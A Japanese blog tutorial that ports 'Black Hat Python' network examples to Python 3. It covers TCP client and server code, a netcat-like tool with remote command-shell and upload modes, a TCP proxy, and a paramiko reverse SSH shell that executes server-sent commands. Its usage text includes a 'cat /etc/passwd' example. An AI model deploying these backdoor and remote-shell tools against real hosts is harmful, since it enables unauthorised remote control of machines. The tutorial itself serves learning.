サイバーセキュリティプログラミング (TCPクライアントからSSH通信プログラムまで)
はじめに
本日はサイバーセキュリティプログラミングの基礎を解説していこうと思います.参考にした本はコチラです.
サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考
- 作者: Justin Seitz,青木一史,新井悠,一瀬小夜,岩村誠,川古谷裕平,星澤裕二
- 出版社/メーカー: オライリージャパン
- 発売日: 2015/10/24
- メディア: 単行本(ソフトカバー)
- この商品を含むブログ (11件) を見る
ただし,上記の本はPython 2系で書かれており,Python 3系では動かない部分が多々あります.本記事ではPython 3系でコードを書いていきます.
TCPクライアント
TCPクライアントがTCP通信を行う手順は,(1) ソケットオブジェクトを作成,(2)サーバーへ接続,(3)データの送信,(4)データの受信 となります. 早速コードを書いていきましょう.
import socket # ターゲットホストの情報 target_host = "192.168.3.8" target_port = 9999 # ソケットオブジェクトの作成 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # サーバーへ接続 client.connect((target_host, target_port)) # データ送信 client.send(b"I am Tomonori HIRATA") # データ受信 message = client.recv(4096) print(message.decode())
注意すべき点は,Python 3系ではデータの送信はバイナリに変換してから実行するということです.ダブルクオーテーションの手前に'b'を付けたり,文字列変数の後にencode()メソッドを使用することでバイナリデータに変換することができます.逆にデータを受信する場合はバイナリで送られてくるので,標準出力する場合はdecode()メソッドを適用して元の文字列に戻しましょう.
TCPサーバー
続いてTCPサーバーの挙動についてです.TCPサーバーは,(1)ソケットオブジェクトを作成,(2)接続を待ち受けるIPアドレスとポート番号の指定(bind),(3)接続の待ち受け(listen),(4)接続されたらスレッドの起動,(5)スレッド動作 というような流れで動いていきます.
import socket import threading bind_ip = "192.168.3.7" bind_port = 9999 # ソケットオブジェクトの作成 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 接続を待ち受けるIPアドレスとポート番号を指定 server.bind((bind_ip, bind_port)) # 接続を待ち受け(接続キューの最大数を5とする) server.listen(5) print("[*] Listening on {0}:{1}".format(bind_ip, bind_port)) # クライアントが接続してきたら実行する def handle_client(client_socket): response = client_socket.recv(4096) print("[*] Received: {0}".format(response.decode())) client_socket.send(b"ACK!!") client_socket.close() while True: # 接続を受け入れる client, addr = server.accept() print("[*] Accepted connection from: {0}:{1}".format(addr[0], addr[1])) # スレッドの起動 client_handler = threading.Thread(target=handle_client, args=(client, )) client_handler.start()
Netcatを自作する
PythonでNetcatを自作してみましょう.
import sys import socket import getopt import threading import subprocess # グローバル変数の定義 listen = False command = False upload = False execute = "" target = "" upload_destination = "" port = 0 def usage(): """ print "BHP Net Tool" print print "Usage: bhnet.py -t target_host -p port" print "-l --listen - listen on [host]:[port] for" print " incoming connections" print "-e --execute=file_to_run - execute the given file upon" print " receiving a connection" print "-c --command - initialize a command shell" print "-u --upload=destination - upon receiving connection upload a" print " file and write to [destination]" print print print "Examples: " print "bhnet.py -t 192.168.0.1 -p 5555 -l -c" print "bhnet.py -t 192.168.0.1 -p 5555 -l -u c:\\target.exe" print "bhnet.py -t 192.168.0.1 -p 5555 -l -e \"cat /etc/passwd\"" print "echo 'ABCDEFGHI' | ./bhnet.py -t 192.168.11.12 -p 135" """ print("USAGE!!") sys.exit(0) def main(): global listen global port global execute global command global upload_destination global target if not len(sys.argv[1:]): usage() # コマンドラインオプションの読み込み try: opts, args = getopt.getopt( sys.argv[1:], "hle:t:p:cu:", ["help", "listen", "execute=", "target=", "port=", "command", "upload="]) except getopt.GetoptError as err: print(str(err)) usage() for o,a in opts: if o in ("-h", "--help"): usage() elif o in ("-l", "--listen"): listen = True elif o in ("-e", "--execute"): execute = a elif o in ("-c", "--commandshell"): command = True elif o in ("-u", "--upload"): upload_destination = a elif o in ("-t", "--target"): target = a elif o in ("-p", "--port"): port = int(a) else: assert False, "Unhandled Option" # 接続を待機する?それとも標準入力からデータを受け取って送信する? if not listen and len(target) and port > 0: # コマンドラインからの入力を`buffer`に格納する。 # 入力がこないと処理が継続されないので # 標準入力にデータを送らない場合は CTRL-D を入力すること。 buffer = sys.stdin.read() # データ送信 client_sender(buffer.encode()) # 接続待機を開始。 # コマンドラインオプションに応じて、ファイルアップロード、 # コマンド実行、コマンドシェルの実行を行う。 if listen: server_loop() def client_sender(buffer): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: # 標的ホストへの接続 client.connect((target, port)) if len(buffer): client.send(buffer) while True: # 標的ホストからのデータを待機 recv_len = 1 response = "" while recv_len: data = client.recv(4096).decode() recv_len = len(data) response+= data if recv_len < 4096: break print(response) # 追加の入力を待機 buffer = input("") buffer += "\n" # データの送信 client.send(buffer.encode()) except: print("[*] Exception! Exiting.") # 接続の終了 client.close() def server_loop(): global target # 待機するIPアドレスが指定されていない場合は # 全てのインタフェースで接続を待機 if not len(target): target = "0.0.0.0" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((target,port)) server.listen(5) while True: client_socket, addr = server.accept() # クライアントからの新しい接続を処理するスレッドの起動 client_thread = threading.Thread( target=client_handler, args=(client_socket,)) client_thread.start() def run_command(command): # 文字列の末尾の改行を削除 command = command.rstrip() # コマンドを実行し出力結果を取得 try: output = subprocess.check_output( command,stderr=subprocess.STDOUT, shell=True) except: output = "Failed to execute command.\r\n" # 出力結果をクライアントに送信 return output def client_handler(client_socket): global upload global execute global command # ファイルアップロードを指定されているかどうかの確認 if len(upload_destination): # すべてのデータを読み取り、指定されたファイルにデータを書き込み file_buffer = "" # 受信データがなくなるまでデータ受信を継続 while True: data = client_socket.recv(1024) if len(data) == 0: break else: file_buffer += data # 受信したデータをファイルに書き込み try: file_descriptor = open(upload_destination,"wb") file_descriptor.write(file_buffer) file_descriptor.close() # ファイル書き込みの成否を通知 client_socket.send( "Successfully saved file to %s\r\n" % upload_destination) except: client_socket.send( "Failed to save file to %s\r\n" % upload_destination) # コマンド実行を指定されているかどうかの確認 if len(execute): # コマンドの実行 output = run_command(execute) client_socket.send(output) # コマンドシェルの実行を指定されている場合の処理 if command: # プロンプトの表示 prompt = "<BHP:#> " client_socket.send(prompt.encode()) while True: # 改行(エンターキー)を受け取るまでデータを受信 cmd_buffer = "" while "\n" not in cmd_buffer: cmd_buffer += (client_socket.recv(1024)).decode() # コマンドの実行結果を取得 response = run_command(cmd_buffer).decode() response += prompt # コマンドの実行結果を送信 client_socket.send(response.encode()) main()
使用方法は以下の通り.
(サーバー) $ python bhnet.py -l -p 9999 -c (クライアント) $ python bhnet.py -t localhost -p 9999
TCPプロキシーの構築
TCPプロキシーを用いて,二者間の通信を,仲介者を介して実行します.
import sys import threading import socket def server_loop(local_host, local_port, remote_host, remote_port, receive_first): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: server.bind((local_host, local_port)) except: print("[!!] Failed to listen on {0}:{1}".format(local_host, local_port)) print("[!!] Check for other listening sockets or correct permissions.") sys.exit(0) # ローカルホストに対してはサーバーとしての働きを持つ print("[*] Listening on {0}:{1}".format(local_host, local_port)) server.listen(5) while True: client_socket, addr = server.accept() print("[==>] Received incoming connection from {0}:{1}".format(addr[0], addr[1])) proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive_first)) proxy_thread.start() def main(): if len(sys.argv[1:]) != 5: print("Usage: python proxy.py <local_host> <local_port> <remote_host> <remote_port> <receive_first>") sys.exit(0) local_host = sys.argv[1] local_port = int(sys.argv[2]) remote_host = sys.argv[3] remote_port = int(sys.argv[4]) receive_first = sys.argv[5] if "True" in receive_first: receive_first = True else: receive_first = False server_loop(local_host, local_port, remote_host, remote_port, receive_first) def proxy_handler(client_socket, remote_host, remote_port, receive_first): remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote_socket.connect((remote_host, remote_port)) if receive_first: remote_buffer = receive_from(remote_socket) hexdump(remote_buffer.encode()) remote_buffer = response_handler(remote_buffer) if len(remote_buffer): print("[<==] Sending {0} bytes to localhost. ".format(len(remote_buffer))) client_socket.send(remote_buffer.encode()) while True: local_buffer = receive_from(client_socket) if len(local_buffer): print("[==>] Received {0} bytes from localhost".format(len(local_buffer))) hexdump(local_buffer.encode()) # 送信データ処理関数にデータを受け渡し local_buffer = request_handler(local_buffer) remote_socket.send(local_buffer.encode()) print("[==>] Sent to remote.") remote_buffer = receive_from(remote_socket) if len(remote_buffer): print("[<==] Received {0} bytes from remote. ".format(len(remote_buffer))) hexdump(remote_buffer.encode()) remote_buffer = response_handler(remote_buffer) client_socket.send(remote_buffer.encode()) print("[<==] Sent to localhost.") if not len(local_buffer) or not len(remote_buffer): client_socket.close() remote_socket.close() print("[*] No more data. Closing connections.") break def hexdump(src, length=16): print("-----HEXDUMP-----") print(src.decode()) print("-----HEXDUMP END-----") def receive_from(connection): buffer = "" connection.settimeout(2) try: while True: data = connection.recv(4096).decode() if not data: break buffer += data except: pass return buffer def request_handler(buffer): return buffer def response_handler(buffer): return buffer main()
以下,実行例
(サーバー側) $ python tcp_server.py (プロキシー) $ python proxy.py 192.168.3.7 10000 192.168.3.18 9999 True [*] Listening on 192.168.3.7:10000 [==>] Received incoming connection from 192.168.3.8:57680 -----HEXDUMP----- -----HEXDUMP END----- [==>] Received 20 bytes from localhost -----HEXDUMP----- I am Tomonori HIRATA -----HEXDUMP END----- [==>] Sent to remote. [<==] Received 4 bytes from remote. -----HEXDUMP----- ACK! -----HEXDUMP END----- [<==] Sent to localhost. [*] No more data. Closing connections. (クライアント側) $ python tcp_client.py ACK!
Paramikoを用いたSSH通信プログラム
paramikoというライブラリを使用することで,SSH2プロトコルを簡単に扱うことができます.例えば,SSHサーバーに接続して1つだけコマンドを実行するssh_command関数を作成してみましょう.
import threading import paramiko import subprocess def ssh_command(ip, user, passwd, command): # SSHクライアントの作成 client = paramiko.SSHClient() # 接続しているSSHサーバーのSSH鍵を受け入れるというポリシーを設定 client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # サーバーに接続 client.connect(ip, username=user, password=passwd) # セッションの確立 ssh_session = client.get_transport().open_session() # コマンドの実行 if ssh_session.active: ssh_session.exec_command(command) print(ssh_session.recv(4096).decode().rstrip()) return ssh_command('<IP>', '<USER_NAME>', '<PASSWORD>', 'pwd')
続いて,SSHを介して接続先のホストにコマンドを送信して実行できるようにしてみましょう.
(クライアント側)
import threading import paramiko import subprocess def ssh_command(ip, user, passwd, command): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(ip, username=user, password=passwd) ssh_session = client.get_transport().open_session() if ssh_session.active: ssh_session.send(command.encode()) print(ssh_session.recv(1024).decode()) while True: command = ssh_session.recv(1024).decode() #print(command) try: cmd_output = subprocess.check_output(command, shell=True) print(cmd_output.decode()) ssh_session.send(cmd_output) except: ssh_session.send(b'INVALID COMMAND') client.close() return ssh_command('192.168.3.7', 'justin', 'lovesthepython', 'ClientConnected')
(サーバー側)
import socket import paramiko import threading import sys host_key = paramiko.RSAKey(filename='test_rsa.key') class Server (paramiko.ServerInterface): def _init_(self): self.event = threading.Event() def check_channel_request(self, kind, chanid): if kind == 'session': return paramiko.OPEN_SUCCEEDED return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED def check_auth_password(self, username, password): if (username == 'justin') and (password == 'lovesthepython'): return paramiko.AUTH_SUCCESSFUL return paramiko.AUTH_FAILED server = sys.argv[1] ssh_port = int(sys.argv[2]) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((server, ssh_port)) sock.listen(100) print("[+] Listening for connection ... ") client, addr = sock.accept() except: print("[-] Listen failed ... ") sys.exit(1) print("[+] Got a connection") try: bhSession = paramiko.Transport(client) bhSession.add_server_key(host_key) server = Server() try: bhSession.start_server(server=server) except: print("[-] SSH negotiation failed ... ") chan = bhSession.accept(20) print("[+] Authenticated!") print(chan.recv(1024).decode()) chan.send(b'Welcome to bh_ssh') while True: try: command = input("Enter command: ").strip('\n') if command != 'exit': chan.send(command.encode()) print(chan.recv(1024).decode()) else: chan.send(b'exit') print("Exiting") bhSession.close() raise Exception('exit') except: bhSession.close() except: print("[-] Caught exception ... ") try: bhSession.close() except: pass sys.exit(1)
こんな感じで対話させることができます.
$ sudo python bh_sshserver.py 192.168.3.7 22 [+] Listening for connection ... [+] Got a connection [+] Authenticated! ClientConnected Enter command: pwd /Users/***/Desktop/hacking/*** Enter command: ls ] bh_sshRcmd.py bh_sshcmd.py bh_sshserver.py bhnet.py bhnet.txt hello.txt proxy.py sub_bhnet.py tcp_client.py tcp_client.py~ tcp_server.py test_rsa.key Enter command: cat hello.txt Hello,***!! $ sudo python bh_sshRcmd.py Welcome to bh_ssh /Users/***/Desktop/hacking/*** ] bh_sshRcmd.py bh_sshcmd.py bh_sshserver.py bhnet.py bhnet.txt hello.txt proxy.py sub_bhnet.py tcp_client.py tcp_client.py~ tcp_server.py test_rsa.key Hello***!!
SSHトンネリング
編集中 ...